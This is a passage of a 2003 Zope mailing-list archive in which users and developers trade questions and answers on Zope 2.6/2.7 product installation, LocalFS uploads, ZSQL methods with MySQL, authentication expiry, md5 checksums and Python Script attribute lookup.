http://zope.org/Members/gaaros/ZpdfDocument/zpdfannounce/view http://zope.org/Members/jack-e/CMFReportTool/view http://zope.org/Members/gaaros/ZpdfDocument/view http://mail.zope.org/pipermail/zope/2002-January/106265.html --jcc From david at calteg.org Fri Aug 15 21:28:22 2003 From: david at calteg.org (David Siedband) Date: Fri Aug 15 23:29:19 2003 Subject: [Zope] LocalFS - large files / broken connections Message-ID: I'm using LocalFS as a repository for uploading files. Many files are relatively large, perhaps in the 10-20 Meg range. Is the file cached by Zope and then written to the filesystem all at once or is it written to the filesystem in incrementally? From the product code below, it looks like it it writing directly to the path location... What happens if someone is uploading a file and their net connection is broken? How would this be handled? Could this result in a partial file being cached somewhere that needs to be purged or perhaps a write process that needs to be killed off? Thanks, -- David Here's what I think is the relevant code from the product... def manage_upload(self, file, id='', action='manage_workspace', REQUEST=None): """Upload a file to the local file system. The 'file' parameter is a FileUpload instance representing the uploaded file.""" if hasattr(file,'filename'): filename=file.filename else: filename=file.name if not id: if '/' in filename: id=filename[string.rfind(filename,'/')+1:] elif '\\' in filename: id=filename[string.rfind(filename,'\\')+1:] elif ':' in filename: id=filename[string.rfind(filename,':')+1:] else: id=filename try: self._checkId(id,1) except: raise 'Upload Error', MessageDialog( title='Invalid Id', message=sys.exc_value, action ='manage_main') path = self._getpath(id) if os.path.exists(path): self.manage_overwrite(file, path, REQUEST) else: self._write_file(file, path) if REQUEST: return MessageDialog( title='Success!', message='Your file has been uploaded.', action=action) From wphewitt at comcast.net Sat Aug 16 06:42:22 2003 From: wphewitt at comcast.net (Bill Hewitt) Date: Sat Aug 16 01:42:23 2003 Subject: [Zope] How do I get DocumentTemplate to work? Message-ID: <1061012535.10070.12.camel@blowfish.hewnix.com> I'm trying to switch over to python from DTML...... I've got a python Script (to see what DocumentTemplate does) that looks like the following: from DocumentTemplate import HTML template_source = """ <dtml-var title_or_id> """ template_method = HTML(template_source) results = template_method(title="ThisDocument!", content="This is cool!!!!" ) But, when I try to run it, I get: Error Type: ImportError Error Value: import of "HTMLFile" from "DocumentTemplate" is unauthorized. You are not allowed to access HTMLFile in this context What is it I'm doing wrong? TIA, WPH From exteam6 at yahoo.co.in Sat Aug 16 08:38:26 2003 From: exteam6 at yahoo.co.in (=?iso-8859-1?q?Exteam?=) Date: Sat Aug 16 02:39:01 2003 Subject: [Zope] Auto password expiry based on time Message-ID: <20030816063826.36275.qmail@web8105.in.yahoo.com> Hi all, I have been trying to find a way to make the password to a zope site expire after a limited fixed time, unsuccesfully using python. I know I have to use acl_users but which file to modify in zope (which is used to log in the user)is the question. Also does this mean I have to recompile zope? Any help or direction would be highly appreciated. Regards Subhankar ________________________________________________________________________ Yahoo! India Promos: Win TVs, Bikes, DVD players & more! Go to http://in.promos.yahoo.com From tino at wildenhain.de Sat Aug 16 10:20:57 2003 From: tino at wildenhain.de (Tino Wildenhain) Date: Sat Aug 16 03:21:32 2003 Subject: [Zope] Re: [Zope-dev] Auto password expiry based on time In-Reply-To: <20030816063826.36275.qmail@web8105.in.yahoo.com> References: <20030816063826.36275.qmail@web8105.in.yahoo.com> Message-ID: <3F3DDB59.7010901@wildenhain.de> Hi Exteam, 1.) do you have a real name too? 2.) you should not crosspost questions 3.) you should have a look at rfc2616 which describes how HTTP work. In short: you cant modify anything in Zope to let the browser expire the Basic-Authentication. Its just impossible to do this. To get closer to what you want, you need a cookie or path based authentication, for example using cookiecrumbler or ExUserFolder. Next thing you would do is to set a lifetime of the cookie maybe in the source of cookiecrumbler or ExUserFolder. Regards Tino Exteam wrote: > Hi all, > > I have been trying to find a way to make the password > to a zope site expire after a limited fixed time, > unsuccesfully using python. > > I know I have to use acl_users but which file to > modify in zope (which is used to log in the user)is > the question. Also does this mean I have to recompile > zope? > > Any help or direction would be highly appreciated. > > Regards > Subhankar > > > ________________________________________________________________________ > Yahoo! India Promos: Win TVs, Bikes, DVD players & more! > Go to http://in.promos.yahoo.com > > _______________________________________________ > Zope-Dev maillist - Zope-Dev@zope.org > http://mail.zope.org/mailman/listinfo/zope-dev > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope ) > From andreas at andreas-jung.com Sat Aug 16 10:59:51 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Sat Aug 16 03:59:45 2003 Subject: [Zope] How do I get DocumentTemplate to work? In-Reply-To: <1061012535.10070.12.camel@blowfish.hewnix.com> References: <1061012535.10070.12.camel@blowfish.hewnix.com> Message-ID: <2147483647.1061027991@[192.168.0.100]> Read lib/python/Products/PythonScripts/README.txt. Btw. your code and your idea looks very odd. -aj --On Freitag, 15. August 2003 22:42 Uhr -0700 Bill Hewitt wrote: > I'm trying to switch over to python from DTML...... > I've got a python Script (to see what DocumentTemplate does) that looks > like the following: > > from DocumentTemplate import HTML > template_source = """ > > > <dtml-var title_or_id> > > > > > > """ > template_method = HTML(template_source) > results = template_method(title="ThisDocument!", > content="This is cool!!!!" ) > > But, when I try to run it, I get: > Error Type: ImportError > Error Value: import of "HTMLFile" from "DocumentTemplate" is > unauthorized. You are not allowed to access HTMLFile in this context > > What is it I'm doing wrong? > > TIA, > WPH > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From borelan at wanadoo.fr Sat Aug 16 11:15:08 2003 From: borelan at wanadoo.fr (andre) Date: Sat Aug 16 10:16:05 2003 Subject: [Zope] How to install a new product in Zope 2.7 References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]> <3F3CF176.5060204@wanadoo.fr> <1060988215.1177.18.camel@dorothy.zope.com> Message-ID: <3F3E3C6C.9020301@wanadoo.fr> Thanks but i tried that too. When i change something to the zope-conf, the server doesn't start. i just uncommented the products directive, then i used \ instead of / same result. "Connection refused to http://localhost:8081" Same thing happens if i change datetime format, locale, etc. if i comment out "products $INSTANCE\Products" i can access http://localhost:8081/manage looking at the event.log, the server didn't start. after uncommenting the line : http server started, ftp server started, Zope ready. no errors in z2.log, no messages. i think that there are no interaction with my instance of Zope 2.6 as i stopped Z2.6 before trying Z2.7 even with candies it doesn't work. big whim! Mystery ? Magic ? Thanks Andre Chris McDonouogh a ?crit: > The comment in the config file is wrong. Add a line: > > products $INSTANCE\Products > > to your config file and restart, all should be ok. > > On Fri, 2003-08-15 at 10:43, andre wrote: > >>:) Thanks. >>I read it before asking my question but as there's nothing about >>differencies between 2.7 and 2.6 in products installation and as the >>only instruction in instance's products directory is : >>"" >>Additional products for your Zope instance should be installed in this >>directory. A freshly created instance should only contain this >>README.txt file in this directory. >>"", >>i supposed that i only had to copy my package in the Products' directory >>of my instance am i right ? >> >>But when i restart the server and my instance, nothing happens, the >>product doesn't appears in the products' list in control panel. >> >>Well, i searched in cvs.zope.org to see if there was something, i only >>found files edited 12 months ago. >> >>I am using Zope2.7.0.b1 on windows XP. >> >>I found nothing in the faq, in the collector, in this mailing list, in >>the txt files. >>I didn't get errors and i didn't find a log file. >>My package is simply ignored by Zope2.7.0b1. >> >>I think it can't be a bug but it must be something so obvious that i >>can't see it. :). >>I can't restart the server using the restart button in control panel. I >>need to restart in windows service manager. >> >>Noticed that i have a Zope 2.6 server on the same machine on port 8080 >>(2.7 on 8081) but that doesn't affect my Zope 2.6 and basic products of >>Zope 2.7 are running well. >> >>So do you know something.txt that i can read :). >>Thanks >>Andre >> >>Andreas Jung a ?crit: >> >>>Read doc/CHANGES.txt...that's why it is called as it is. >>> >>>-aj >>> >>>--On Freitag, 15. August 2003 0:45 Uhr -0400 andre >>>wrote: >>> >>> >>>>I have a product developed for Zope 2.6 and want to use it in an instance >>>>of Zope 2.7. Is there something different than in previous versions of >>>>Zope ? >>>>Thanks >>>>Andre >>>> >>>> >>>>_______________________________________________ >>>>Zope maillist - Zope@zope.org >>>>http://mail.zope.org/mailman/listinfo/zope >>>>** No cross posts or HTML encoding! ** >>>>(Related lists - http://mail.zope.org/mailman/listinfo/zope-announce >>>> http://mail.zope.org/mailman/listinfo/zope-dev ) >>> >>> >>> >>> >>> >>> >>>_______________________________________________ >>>Zope maillist - Zope@zope.org >>>http://mail.zope.org/mailman/listinfo/zope >>>** No cross posts or HTML encoding! ** >>>(Related lists - http://mail.zope.org/mailman/listinfo/zope-announce >>>http://mail.zope.org/mailman/listinfo/zope-dev ) >>> >> >> >> >>_______________________________________________ >>Zope maillist - Zope@zope.org >>http://mail.zope.org/mailman/listinfo/zope >>** No cross posts or HTML encoding! ** >>(Related lists - >> http://mail.zope.org/mailman/listinfo/zope-announce >> http://mail.zope.org/mailman/listinfo/zope-dev ) > > > From inigoserna at terra.es Sat Aug 16 17:24:08 2003 From: inigoserna at terra.es (=?ISO-8859-1?Q?I=F1igo?= Serna) Date: Sat Aug 16 10:22:33 2003 Subject: [Zope] zsqlmethod and inserting count(*) value blues Message-ID: <1061043847.17926.33.camel@inigo.katxi.org> Hi, I have a problem with a zsqlmethod. In mysql client command line next works: ------------------ mysql ------------------- mysql> select @n := count(*) from tbl; mysql> insert into tbl2 values (@n+1, 'data'); -------------------------------------------- But This identical zsqlmethod does not: ---------------- ZSQLMETHOD ---------------- select @n:= count(*) from tbl; insert into tbl2 values (@n+1, 'data'); -------------------------------------------- This is the error message I get: ------------------ Error ------------------ Error, _mysql_exceptions.ProgrammingError: (1064, "You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near ';\ninsert into tbl2 values ( @n + 1, 'data)' ; ________________________________________________________________________ -SQL used: select @n:=count(*) from tbl; insert into tbl2 values (@n+1, 'data'); -------------------------------------------- I've achieved the functionality I want with next code: ---------------- ZSQLMETHOD ---------------- insert into tbl values ( , 'data' ) -------------------------------------------- where getMessages is a simple zsqlmethod containing "select * from tbl", but I suppose there is a better way to do it. Any ideas? Thanks in advance, I?igo Serna PS: I'm using next versions: Linux 2.4.20, Zope 2.6, MySQL-4.0.14, MySQL-python 0.9.2 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Esta parte del mensaje =?ISO-8859-1?Q?est=E1?= firmada digitalmente Url : http://lists.zope.org/pipermail/zope/attachments/20030816/2a3ce25d/attachment.bin From gordo at loopzilla.org Sat Aug 16 16:25:26 2003 From: gordo at loopzilla.org (Gordon Joly) Date: Sat Aug 16 10:25:36 2003 Subject: [Zope] md5 sums Message-ID: <3F3E3ED6.9010108@loopzilla.org> http://zope.org/Products/Zope/2.6.1/2.6.1/view Zope-2.6.1-linux2-x86.tgz (6.84 M) Linux 2.x, x86 I dowloaded this today and the "md5sum" on Linux did not agree with that postsed Version: 2.6.1 Release Date: 2003-02-07 15:03:18 Author: ZopeOrgSite Categories: Maturity: Stable Could you check this and also forward the email to the relavent authroity? Regards Gordo From chris.mcdonough at cox.net Sat Aug 16 11:29:58 2003 From: chris.mcdonough at cox.net (Chris McDonough) Date: Sat Aug 16 10:29:35 2003 Subject: [Zope] How to install a new product in Zope 2.7 References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]><3F3CF176.5060204@wanadoo.fr><1060988215.1177.18.camel@dorothy.zope.com> <3F3E3C6C.9020301@wanadoo.fr> Message-ID: <003601c36402$deb80560$0601000a@james> If you're running this as a service, the Zope Windows service stuff has fairly poor failure reporting support. It sounds like something is blowing up in your local Products directory. Try running Zope manually via the "bin\runzope.bat" batch file with the "product $INSTANCE\Products" directive in your config file and look at the console output. It should tell you what is going wrong. ----- Original Message ----- From: "andre" To: "Chris McDonouogh" Cc: "Andreas Jung" ; Sent: Saturday, August 16, 2003 10:15 AM Subject: Re: [Zope] How to install a new product in Zope 2.7 > Thanks but i tried that too. > When i change something to the zope-conf, the server doesn't start. > i just uncommented the products directive, then i used \ instead of / > same result. > "Connection refused to http://localhost:8081" > Same thing happens if i change datetime format, locale, etc. > if i comment out "products $INSTANCE\Products" > i can access http://localhost:8081/manage > > looking at the event.log, the server didn't start. > after uncommenting the line : > http server started, ftp server started, Zope ready. > no errors in z2.log, no messages. > > i think that there are no interaction with my instance of Zope 2.6 as i > stopped Z2.6 before trying Z2.7 > even with candies it doesn't work. big whim! > Mystery ? Magic ? > > Thanks > > Andre > > > Chris McDonouogh a ?crit: > > The comment in the config file is wrong. Add a line: > > > > products $INSTANCE\Products > > > > to your config file and restart, all should be ok. > > > > On Fri, 2003-08-15 at 10:43, andre wrote: > > > >>:) Thanks. > >>I read it before asking my question but as there's nothing about > >>differencies between 2.7 and 2.6 in products installation and as the > >>only instruction in instance's products directory is : > >>"" > >>Additional products for your Zope instance should be installed in this > >>directory. A freshly created instance should only contain this > >>README.txt file in this directory. > >>"", > >>i supposed that i only had to copy my package in the Products' directory > >>of my instance am i right ? > >> > >>But when i restart the server and my instance, nothing happens, the > >>product doesn't appears in the products' list in control panel. > >> > >>Well, i searched in cvs.zope.org to see if there was something, i only > >>found files edited 12 months ago. > >> > >>I am using Zope2.7.0.b1 on windows XP. > >> > >>I found nothing in the faq, in the collector, in this mailing list, in > >>the txt files. > >>I didn't get errors and i didn't find a log file. > >>My package is simply ignored by Zope2.7.0b1. > >> > >>I think it can't be a bug but it must be something so obvious that i > >>can't see it. :). > >>I can't restart the server using the restart button in control panel. I > >>need to restart in windows service manager. > >> > >>Noticed that i have a Zope 2.6 server on the same machine on port 8080 > >>(2.7 on 8081) but that doesn't affect my Zope 2.6 and basic products of > >>Zope 2.7 are running well. > >> > >>So do you know something.txt that i can read :). > >>Thanks > >>Andre > >> > >>Andreas Jung a ?crit: > >> > >>>Read doc/CHANGES.txt...that's why it is called as it is. > >>> > >>>-aj > >>> > >>>--On Freitag, 15. August 2003 0:45 Uhr -0400 andre > >>>wrote: > >>> > >>> > >>>>I have a product developed for Zope 2.6 and want to use it in an instance > >>>>of Zope 2.7. Is there something different than in previous versions of > >>>>Zope ? > >>>>Thanks > >>>>Andre > >>>> > >>>> > >>>>_______________________________________________ > >>>>Zope maillist - Zope@zope.org > >>>>http://mail.zope.org/mailman/listinfo/zope > >>>>** No cross posts or HTML encoding! ** > >>>>(Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > >>>> http://mail.zope.org/mailman/listinfo/zope-dev ) > >>> > >>> > >>> > >>> > >>> > >>> > >>>_______________________________________________ > >>>Zope maillist - Zope@zope.org > >>>http://mail.zope.org/mailman/listinfo/zope > >>>** No cross posts or HTML encoding! ** > >>>(Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > >>>http://mail.zope.org/mailman/listinfo/zope-dev ) > >>> > >> > >> > >> > >>_______________________________________________ > >>Zope maillist - Zope@zope.org > >>http://mail.zope.org/mailman/listinfo/zope > >>** No cross posts or HTML encoding! ** > >>(Related lists - > >> http://mail.zope.org/mailman/listinfo/zope-announce > >> http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > > > > > From borelan at wanadoo.fr Sat Aug 16 12:11:12 2003 From: borelan at wanadoo.fr (andre) Date: Sat Aug 16 11:12:09 2003 Subject: [Zope] How to install a new product in Zope 2.7 References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]><3F3CF176.5060204@wanadoo.fr><1060988215.1177.18.camel@dorothy.zope.com> <3F3E3C6C.9020301@wanadoo.fr> <003601c36402$deb80560$0601000a@james> Message-ID: <3F3E4990.800@wanadoo.fr> Chris McDonough a ?crit: > Try running Zope manually via the "bin\runzope.bat" batch file with > the "product $INSTANCE\Products" directive in your config file and > look at the console output. It should tell you what is going wrong. No messages on console output except : "c:\Zope-Instance\bin .... -C ..zope.conf etc... then the windows is closed, the server doesn't start (even with the products directive commented out). No messages, no errors in logs. If i suppress the product from Zope-Instance\Products, the server starts normally even if i modify the zope.conf. When i add a product in the directory, i can't restart the server. I deleted the directory, re-created it, same result. I tried to add the product in Zope-Home Products' directory, same result. It seems that Zope2.7 doesn't want a new product. Stuck? Andre From chrism at zopemafia.com Sat Aug 16 17:07:00 2003 From: chrism at zopemafia.com (Chris McDonough) Date: Sat Aug 16 12:07:03 2003 Subject: [Zope] How to install a new product in Zope 2.7 In-Reply-To: <3F3E4990.800@wanadoo.fr> References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]><3F3CF176.5060204@wanadoo.fr> <1060988215.1177.18.camel@dorothy.zope.com> <3F3E3C6C.9020301@wanadoo.fr> <003601c36402$deb80560$0601000a@james> <3F3E4990.800@wanadoo.fr> Message-ID: <1061050040.2548.8.camel@athlon.nv.cox.net> The product is failing to initialize and Zope refuses to start as a result. Nothing is written to the log due to the decision to defer logging to a file until after we've been able to do some houskeeping (which, ironically, is vital under UNIX but totally unnecessary under Windows). In any case. we just need to see the error messages to understand what's happening. What's happening is that Python isn't printing the messages to the console because it's using "pythonw.exe" which (I think) suppresses standard error output instead of "python.exe". Change the line in runzope.bat that says @set PYTHON=c:\some\path\pythonw.exe to @set PYTHON=c:\some\path\python.exe Then start up a DOS box and run runzope.bat again from the DOS box (dont try to run it by clicking the "start zope in a console" link in the start menu). You should see some error messages print to the console. If you don't we'll go back to the drawing board. FWIW, the lack of adequate error reporting under this circumstance is a real issue and needs to be fixed. For now, let's just try to find - C On Sat, 2003-08-16 at 11:11, andre wrote: > Chris McDonough a ?crit: > > > Try running Zope manually via the "bin\runzope.bat" batch file with > > the "product $INSTANCE\Products" directive in your config file and > > look at the console output. It should tell you what is going wrong. > > No messages on console output except : > "c:\Zope-Instance\bin .... -C ..zope.conf etc... > then the windows is closed, the server doesn't start (even with the > products directive commented out). No messages, no errors in logs. > If i suppress the product from Zope-Instance\Products, the server starts > normally even if i modify the zope.conf. > When i add a product in the directory, i can't restart the server. > I deleted the directory, re-created it, same result. > > I tried to add the product in Zope-Home Products' directory, same result. > It seems that Zope2.7 doesn't want a new product. > > Stuck? > > Andre > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From allison at sumeru.stanford.EDU Sat Aug 16 10:14:10 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Sat Aug 16 12:14:20 2003 Subject: [Zope] Connection pooling in Mysql Message-ID: It's beginning to look like I need to do connection pooling for MySQL. A quick google turned up mxODBC from www.egenix.com which looks on-point but has a fairly hefty license fee for our systems organization ($100/zope instance). Anyone have any experience with the product? What other products are available? Also, wht's the threading behavior of the current MySQL database adaptors? I assume that database transactions are handled as critical sections and so threads block concurrent transactions. Is that correct? (Andy ... ) From hpinson at indepthl.com Sat Aug 16 14:10:53 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Sat Aug 16 15:08:39 2003 Subject: [Zope] Getting the filename from a file upload Message-ID: <3F3E2D5D.30205.17DC739@localhost> I'm uploading a file to a LocalFS folder. The upload part is working, but I am trying to return the name of the uploaded file for inclusion into a MySQL database, and am getting a Zope reference string returned rather than the file name. My method is: An HTML form with a file field called 'my_attachment' calls this DTML method: Which uploads a file and returns the value: 'ZPublisher.HTTPRequest.FileUpload instance at 0xaa04964' How might I return the filename of the uploaded file rather than, or in addition to, this string? Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From borelan at wanadoo.fr Sat Aug 16 18:19:38 2003 From: borelan at wanadoo.fr (andre) Date: Sat Aug 16 17:20:46 2003 Subject: [Zope] How to install a new product in Zope 2.7 References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]><3F3CF176.5060204@wanadoo.fr> <1060988215.1177.18.camel@dorothy.zope.com> <3F3E3C6C.9020301@wanadoo.fr> <003601c36402$deb80560$0601000a@james> <3F3E4990.800@wanadoo.fr> <1061050040.2548.8.camel@athlon.nv.cox.net> Message-ID: <3F3E9FEA.9060100@wanadoo.fr> Well, stupid error, it was obvious but not reported. There was a reference to another product(not installed) in my product. Using the method you suggested, i immediately found the error. I have now three zope running (2.6, 2.7, 3) the 2.x versions as services and z3 in a console window. I saw an interface package in Zope 2.7 does that mean that this version is a path between Z2 and Z3 ? If true, how to follow this path ? Many thanks for your help Andre Chris McDonough a ?crit: > The product is failing to initialize and Zope refuses to start as a > result. Nothing is written to the log due to the decision to defer > logging to a file until after we've been able to do some houskeeping > (which, ironically, is vital under UNIX but totally unnecessary under > Windows). > > In any case. we just need to see the error messages to understand what's > happening. What's happening is that Python isn't printing the messages > to the console because it's using "pythonw.exe" which (I think) > suppresses standard error output instead of "python.exe". > > Change the line in runzope.bat that says > > @set PYTHON=c:\some\path\pythonw.exe > > to > > @set PYTHON=c:\some\path\python.exe > > Then start up a DOS box and run runzope.bat again from the DOS box (dont > try to run it by clicking the "start zope in a console" link in the > start menu). You should see some error messages print to the console. > If you don't we'll go back to the drawing board. > > FWIW, the lack of adequate error reporting under this circumstance is a > real issue and needs to be fixed. For now, let's just try to find > > - C > > > On Sat, 2003-08-16 at 11:11, andre wrote: > >>Chris McDonough a ?crit: >> >> > Try running Zope manually via the "bin\runzope.bat" batch file with >> > the "product $INSTANCE\Products" directive in your config file and >> > look at the console output. It should tell you what is going wrong. >> >>No messages on console output except : >>"c:\Zope-Instance\bin .... -C ..zope.conf etc... >>then the windows is closed, the server doesn't start (even with the >>products directive commented out). No messages, no errors in logs. >>If i suppress the product from Zope-Instance\Products, the server starts >>normally even if i modify the zope.conf. >>When i add a product in the directory, i can't restart the server. >>I deleted the directory, re-created it, same result. >> >>I tried to add the product in Zope-Home Products' directory, same result. >>It seems that Zope2.7 doesn't want a new product. >> >>Stuck? >> >>Andre >> >> >>_______________________________________________ >>Zope maillist - Zope@zope.org >>http://mail.zope.org/mailman/listinfo/zope >>** No cross posts or HTML encoding! ** >>(Related lists - >> http://mail.zope.org/mailman/listinfo/zope-announce >> http://mail.zope.org/mailman/listinfo/zope-dev ) > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From chris.mcdonough at cox.net Sat Aug 16 18:31:54 2003 From: chris.mcdonough at cox.net (Chris McDonough) Date: Sat Aug 16 17:31:31 2003 Subject: [Zope] How to install a new product in Zope 2.7 References: <3F3C6569.6070206@wanadoo.fr> <2147483647.1060932398@[192.168.0.100]><3F3CF176.5060204@wanadoo.fr> <1060988215.1177.18.camel@dorothy.zope.com> <3F3E3C6C.9020301@wanadoo.fr> <003601c36402$deb80560$0601000a@james><3F3E4990.800@wanadoo.fr><1061050040.2548.8.camel@athlon.nv.cox.net> <3F3E9FEA.9060100@wanadoo.fr> Message-ID: <00b701c3643d$d09eb330$0601000a@james> > There was a reference to another product(not installed) in my product. > Using the method you suggested, i immediately found the error. Great. > I have now three zope running (2.6, 2.7, 3) the 2.x versions as > services and z3 in a console window. > > I saw an interface package in Zope 2.7 does that mean that this version > is a path between Z2 and Z3 ? Zope 2.6 has an interface package too. > If true, how to follow this path ? There is no predetermined path. Zope 2 products are not compatible with Zope 3 products at this time. In the future there may be automated tools to translate them. For now, you need to rewrite your products to use them under Zope 3. - C From hpinson at indepthl.com Sat Aug 16 17:59:30 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Sat Aug 16 18:57:16 2003 Subject: [Zope] Returning the parent of a document Message-ID: <3F3E62F2.12979.24F1603@localhost> In Page Templates, how would I return the parent object, in this case a folder, of getURL results? For example: Item Title returns - 'http://mysite.org/myfolder/content.htm' What I need returned is the URL of the folder that contains this document, which is: 'http://mysite.org/myfolder' Thanks for any ideas. Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From andy at agmweb.ca Sat Aug 16 17:46:47 2003 From: andy at agmweb.ca (Andy McKay) Date: Sat Aug 16 19:48:01 2003 Subject: [Zope] md5 sums In-Reply-To: <3F3E3ED6.9010108@loopzilla.org> References: <3F3E3ED6.9010108@loopzilla.org> Message-ID: <3F3EC267.5010905@agmweb.ca> Works here although it seems all the md5 sum on Zope.org has an extra 0 on the front. Is your download complete? Gordon Joly wrote: > > > http://zope.org/Products/Zope/2.6.1/2.6.1/view > > Zope-2.6.1-linux2-x86.tgz (6.84 M) Linux 2.x, x86 > > > I dowloaded this today and the "md5sum" on Linux > did not agree with that postsed > > Version: 2.6.1 > Release Date: 2003-02-07 15:03:18 > Author: ZopeOrgSite > Categories: > Maturity: Stable > > > Could you check this and also forward the email to the relavent authroity? > > > Regards > > Gordo > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > -- Andy McKay http://www.agmweb.ca From wphewitt at comcast.net Sun Aug 17 01:16:45 2003 From: wphewitt at comcast.net (Bill Hewitt) Date: Sat Aug 16 20:16:48 2003 Subject: [Zope] More failed attempts with python Message-ID: <1061079395.12080.127.camel@blowfish.hewnix.com> Hello again folks... Below is what I have written in attempting to dynamically construct a variable name, then retrieve the value of the variable from the namespace in python. If anyone can tell me how, I'd appreciate it... WPH ----------------------------------------------------------- # Example code: # Import a standard function, and get the HTML request and response objects. from Products.PythonScripts.standard import html_quote request = container.REQUEST RESPONSE = request.RESPONSE # Here I am trying to # dynamically generate a property name (b) from a parameter called type and a string "color" newstring="%scolor" % (type) # Next I want to # retrieve the *value* for preferredcolor by evaluating the string I created in the variable newstring # I cant seem to get this to work...... preferredcolor=container.newstring # finally I print.... print type+" {" print " background-color:"+preferredcolor+";" print " background-image: url(\"" print " background-repeat: " print " font-family: " print " color: " print " font-size: " print " margin-top: " print " margin-bottom: " print " margin-left: " print " margin-right: " print " }" return printed ------------------------------------------------------------- From pw_lists at slinkp.com Sat Aug 16 22:43:49 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Sat Aug 16 21:45:19 2003 Subject: [Zope] More failed attempts with python In-Reply-To: <1061079395.12080.127.camel@blowfish.hewnix.com> References: <1061079395.12080.127.camel@blowfish.hewnix.com> Message-ID: <20030817014349.GB2238@slinkp.com> On Sat, Aug 16, 2003 at 05:16:36PM -0700, Bill Hewitt wrote: > Hello again folks... > Below is what I have written in attempting to dynamically > construct a variable name, then retrieve the value of the > variable from the namespace in python. (snip) > newstring="%scolor" % (type) fine... > # Next I want to > # retrieve the *value* for preferredcolor by evaluating the string I > created in the variable newstring > # I cant seem to get this to work...... > preferredcolor=container.newstring There's your problem. You are literally asking for an attribute of the container named "newstring". What you want is: getattr(container, newstring) It's worth playing with this stuff in the python interpreter until you really understand it. For example, see if you follow this: $ python Python 2.2.3 (#1, Jul 22 2003, 12:28:47) [GCC 3.2.3 20030422 (Gentoo Linux 1.4 3.2.3-r1, propolice)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> class C: ... def __init__(self): ... self.width = 10 ... self.height = 2 ... >>> c = C() >>> c.width 10 >>> c.height 2 >>> # So far so good. >>> dimension = 'width' >>> c.dimension Traceback (most recent call last): File "", line 1, in ? AttributeError: C instance has no attribute 'dimension' >>> getattr(c, dimension) 10 >>> getattr(c, 'dimension') Traceback (most recent call last): File "", line 1, in ? AttributeError: C instance has no attribute 'dimension' >>> -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's META FISHY SKORPION! (random hero from isometric.spaceninja.com) From wakefirc at ruraltel.net Sat Aug 16 21:47:54 2003 From: wakefirc at ruraltel.net (Raymond & Carol Wakefield) Date: Sat Aug 16 21:51:13 2003 Subject: [Zope] jokes Message-ID: <3F3EDECA.5080109@ruraltel.net> I would like to get joke from you. Thanks From tino at wildenhain.de Sun Aug 17 11:38:07 2003 From: tino at wildenhain.de (Tino Wildenhain) Date: Sun Aug 17 04:38:43 2003 Subject: [Zope] zsqlmethod and inserting count(*) value blues In-Reply-To: <1061043847.17926.33.camel@inigo.katxi.org> References: <1061043847.17926.33.camel@inigo.katxi.org> Message-ID: <3F3F3EEF.2060407@wildenhain.de> Hi, I?igo Serna wrote: > Hi, > > I have a problem with a zsqlmethod. > > In mysql client command line next works: > > ------------------ mysql ------------------- > mysql> select @n := count(*) from tbl; > mysql> insert into tbl2 values (@n+1, 'data'); > -------------------------------------------- > > > But This identical zsqlmethod does not: > > ---------------- ZSQLMETHOD ---------------- > select @n:= count(*) from tbl; > insert into tbl2 values (@n+1, 'data'); > -------------------------------------------- > This is not possible since you are using host variables it seems. To achieve this functionallity with ZOPE, you must use its host language. This means you would have to split your query into 2: one to retrieve count() and one to insert with the new key. Be warned: you seem to use a very very unsave technic to generate keys - you are in a concurrent environment if you work over the web - same inserts can and will happen multiple times at once. So if you calculate count(), another concurrent access comes to the very same result, subsequently inserting with the same key. You can avoid this with locking (See your DB manual) or just use a more advanced database which is capable of naturally do what you want, for example Postgres with the serial datatype. From gordon.joly at pobox.com Sun Aug 17 10:56:35 2003 From: gordon.joly at pobox.com (Gordon Joly) Date: Sun Aug 17 04:56:46 2003 Subject: [Zope] md5 sums In-Reply-To: <3F3EC267.5010905@agmweb.ca> References: <3F3E3ED6.9010108@loopzilla.org> <3F3EC267.5010905@agmweb.ca> Message-ID: At 16:46 -0700 2003/08/16, Andy McKay wrote: >Works here although it seems all the md5 sum on Zope.org has an extra 0 on the front. Is your download complete? Yes, is complete. I guess I was not clear enough; here is what I get. Sun Aug 17 09:53:09 BST 2003 % md5sum 